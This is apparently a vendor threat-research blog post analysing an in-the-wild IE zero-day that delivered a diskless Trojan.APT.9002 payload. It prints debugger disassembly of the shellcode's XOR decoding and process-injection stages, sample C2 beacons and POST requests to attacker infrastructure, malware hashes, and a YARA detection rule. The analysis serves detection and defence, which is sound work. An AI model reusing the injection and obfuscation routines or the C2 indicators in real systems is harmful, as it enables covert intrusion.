

Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method

Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. **We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog.** Furthermore, the attackers **loaded the payload used in this attack directly into memory without first writing to disk** – a technique not typically used by advanced persistent threat (APT) actors. This technique **will further complicate network defenders' ability to triage compromised systems, using traditional forensics methods.**

Enter Trojan.APT.9002

On November 8, 2013 our colleagues [Xiaobo Chen](#) and [Dan Caselden](#) posted about a **new Internet Explorer 0-day exploit** seen in the wild. This exploit was seen used in a strategic Web compromise. The exploit chain was limited to one website. There were no iframes or redirects to external sites to pull down the shellcode payload.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack. This payload has been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT variant) and runs in memory only. **It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.**

Specifically, the payload is shellcode, which is decoded **and directly injected into memory after successful exploitation** via a series of steps. After an initial XOR decoding of the payload with the key “0x9F”, an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.






Figure 1 – Initial XOR decoding of shellcode, with key '0x9F'



04387E6D	50	PUSH EAX	
04387E6E	FF55 1C	CALL DWORD PTR [EBP+1C]	kerne132.CreateRemoteThread
04387E71	81C4 00050000	ADD ESP,500	
04387E77	83C4 3C	ADD ESP,3C	
04387E7A	8B6D 20	MOV EBP,DWORD PTR [EBP+20]	
04387E7D	8BE5	MOV ESP,EBP	
04387E7F	33C0	XOR EAX,EAX	
04387E81	33DB	XOR EBX,EBX	
04387E83	33C9	XOR ECX,ECX	
04387E85	33D2	XOR EDX,EDX	
04387E87	BE 02000000	MOV ESI,2	

SS:[04387EF7]=7C8104BC (kerne132.CreateRemoteThread)

Address	Hex dump	Disassembly	Comment
04387F0E	5B	POP EBX	02 0BF 0B 0 000005B 0
04387F0F	4B	DEC EBX	02 0BF 0B 4 00000000
04387F10	33C9	XOR ECX,ECX	02 0BF 0B 8 00000000
04387F12	66:B9 3777	MOV CX,7737	02 0BF 0B C 00090000
04387F16	80340B 01	XOR BYTE PTR [EBX+ECX],1	02 0BF 0C 0 00000000
04387F1A	E2 FA	LOOPD SHORT 04387F16	02 0BF 0C 4 00000000
04387F1C	EB 05	JMP SHORT 04387E93	02 0BF 0C 8 00000000
	E8 EBFFFFFF	CALL 00090003	02 0BF 0C C 00000044

Figure 2 – Shellcode launches rundll32.exe and injects payload

After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys '0x01', followed by '0x6A'.

00090003	5B	POP EBX
00090004	4B	DEC EBX
00090005	33C9	XOR ECX,ECX
00090007	66:B9 3777	MOV CX,7737
0009000B	80340B 01	XOR BYTE PTR [EBX+ECX],1
0009000F	E2 FA	LOOPD SHORT 0009000B
00090011	EB 05	JMP SHORT 00090018
00090013	E8 EBFFFFFF	CALL 00090003

Figure 3- Decoding shellcode with XOR key '0x01'

0009000B	80340B 01	XOR BYTE PTR [EBX+ECX],1
0009000F	^ E2 FA	LOOPD SHORT 0009000B
00090011	∨ EB 05	JMP SHORT 00090018
00090013	E8 EBFFFFFF	CALL 00090003
00090018	33C9	XOR ECX,ECX
0009001A	∨ EB 02	JMP SHORT 0009001E
0009001C	∨ EB 05	JMP SHORT 00090023
0009001E	E8 F9FFFFFF	CALL 0009001C
00090023	58	POP EAX
00090024	83C0 11	ADD EAX,11
00090027	8030 6A	XOR BYTE PTR [EAX],6A
0009002A	40	INC EAX
0009002B	41	INC ECX
0009002C	81F9 1B770000	CMP ECX,771B
00090032	^ 75 F3	JNZ SHORT 00090027

Figure 4 – Decoding shellcode with XOR key '0x6A'

Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.

The screenshot shows the OllyDbg interface for rundll32.exe. The CPU register window displays the following state:

0009029C	6A 40	PUSH 40	00AC0000	E8 10000000	CALL 00AC0015
0009029E	68 00100000	PUSH 1000	00AC0005	3C 00	CMP AL,0
000902A3	FF77 04	PUSH DWORD PTR [EDI+4]	00AC0007	0000	ADD BYTE PTR [EAX],AL
000902A6	6A 00	PUSH 0	00AC0009	100400	ADC BYTE PTR [EAX+EAX]
000902A8	FFD0	CALL EAX	00AC000C	00E0	ADD AL,AH
000902AA	50	PUSH EAX	00AC000E	BC 00000010	MOV ESP,10000000
000902AB	50	PUSH EAX	00AC0013	40	INC EAX
000902AC	83C7 08	ADD EDI,8			
000902AF	57	PUSH EDI			
000902B0	E8 84FDFFFF	CALL 00090039			
000902B5	58	POP EAX			
000902B6	FFE0	JMP EAX			

Figure 5 – Transfer of process execution to final decoded payload

The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills. As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations. If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time – thus automatically wiping the in-memory Trojan.APT.9002 malware variant from the infected endpoint.

Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.

Command and Control Protocol and Infrastructure

This Trojan.APT.9002 variant connected to a command and control server at 111.68.9.93 over port 443. **It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server.** However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.

The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic. This identifier was typically the string “9002”, but we have also seen variants, where this has been modified – such as the 9002 variant documented in the **Sunshop campaign**.




Figure 6 – Traditional 9002 RAT callback beacon

In contrast, the beacon from the **diskless 9002 payload** used in the current IE o-day attack is **remarkably different** and uses a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is present at offset 0 **and changes with each subsequent beacon.** FireEye labs is aware that the 4-byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time we’ve seen it deployed in the diskless payload method.




Figure 7 – Sample callback beacons of the diskless 9002 RAT payload

```

C:\ Hiew: Decoded_9002_beacon_2
Decoded_9002_b▶ ↓FWO EDITMODE 00000058 | Hiew 8.30 <c
00000000: 00 00 00 00 01 00 00 00 0C 00 00 00 08 00 00 00
00000010: 09 12 11 20 58 0E 00 00 00 00 00 00 00 00 00 00
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000040: 00 00 00 00 00 00 00 00 00 00 00 19 FF FF FF
00000050: FF 00 00 00 00 11 00 00 .

C:\ Hiew: Decoded_9002_beacon_1
Decoded_9002_b▶ ↓FWO EDITMODE 00000058 | Hiew 8.30 <c
00000000: 00 00 00 00 01 00 00 00 0C 00 00 00 08 00 00 00
00000010: 09 12 11 20 88 0F 00 00 00 00 00 00 00 00 00 00
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000040: 00 00 00 00 00 00 00 00 00 00 00 19 FF FF FF
00000050: FF 00 00 00 00 11 00 00 .

```

Figure 8 – XOR decrypted callback beacons of the diskless 9002 RAT payload

The XOR decoded data always contains the static value “\x09\x12\x11\x20” at offset 16. This value is in fact hardcoded in packet data construction function prior to XOR encoding. This value most likely is the date “2011-12-09” but its significance is not known at this time.

```

mov     ecx, [ebp+var_100]
push   eax
push   0
lea    ecx, [ebp+var_54]
push   ecx
call   sub_E16C
add    esp, 0Ch
lea    edx, [ebp+var_470]
push   edx
call   dword ptr ds:402D58h
mov    eax, [ebp+var_470]
mov    [ebp+var_54], eax
mov    [ebp+var_44], 20111209h
mov    [ebp+var_50], 0
mov    [ebp+var_4C], 0
mov    [ebp+var_48], 0
mov    ecx, ds:41085Ch
mov    [ebp+var_40], ecx
mov    edx, [ebp+var_54]
push   edx
mov    eax, [ebp+var_460]
sub    eax, 4
push   eax
lea    ecx, [ebp+var_50]
push   ecx
call   sub_D2B1 ; XOR_ENC_FUNC

```

Figure 9 – Packet data construction function showing hardcoded value

The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version. It has Base64 stub data, instead of the static string “AA”. **The User-Agent string and URI pattern remain the same however.** It uses the static string “lynx” in the User-Agent string and the URI is incremental hexadecimal values.

Traditional 9002 RAT	Diskless 9002 RAT
POST /4 HTTP/1.1 User-Agent: lynx Host: ieee.boeing-job.com Content-Length: 2 Connection: Keep-Alive Cache-Control: no-cache	POST /2 HTTP/1.1 User-Agent: lynx Host: 111.68.9.93:443 Content-Length: 104 Connection: Keep-Alive Cache-Control: no-cache

AA	wUeAKsFHgCrBR4AqwUeAKshVkQrBR4Aqw UeAKsFHgCrBR4AqwUeAKsFHgCrBR4Aqw UeAKsFHgCrBR4AqwUeAKsFHgCrBR4AqwUe AKg==
----	--

The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value “\x09\x12\x11\x20”.

Campaign Analysis

We previously observed 104130d666ab3f640255140007f0b12d connecting to the same 111.68.9.93 IP address.

Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.

MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.APT.9002 variants and connect to a command and control server at 58.64.143.244.

MD5 20854f54b0d03118681410245be39bd8 is another Trojan.APT.9002 variant. This variant connected to a command and control server at ado4.bounceme.net.

Passive DNS analysis of this domain revealed that it resolved to 58.64.213.104 between 2011-09-23 and 2011-10-21. The following other domains have also been seen resolving to this same IP address:

DOMAIN	FIRST SEEN	LAST SEEN
dll.freshdns.org	2011-12-08	2012-01-31
grado.selfip.com	2011-12-23	2012-01-10
usc-data.suroot.com	2012-02-20	2012-02-22
usa-mail.scieron.com	2011-12-01	2012-02-22

If the domain dll.freshdns.org rings a bell, it should. While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain: dll.freshdns.org.

Inside the in-memory version of the Trojan.APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: “rat_UnInstall”. **Through DTI, we found this same string present in a number of different samples including the ones discussed above:**

104130d666ab3f640255140007f0b12d
90a37e54c53ffb78969644b1a7038e8c
acbc249061a6a2fb09271a68d53567d9

20854f54bod03118681410245be39bd8

Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature:

```
rule FE_APT_9002_rat
{
  meta:
    author = "FireEye Labs"
  strings:
    $mz = {4d 5a}
    $a = "rat_UnInstall" wide ascii
  condition:
    ($mz at 0) and $a
}
```

We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant):

McpRoXy.exe

SoundMax.dll

These strings were all observed and highlighted by Bit9 [here](#). **As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the "rat_UnInstall" string can be found in the original Aurora samples confirming the lineage.**

Conclusions

By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive. APT actors are clearly learning and employing new tactics. **With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future.** Not surprisingly, these old dogs continue to learn new tricks.

FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.

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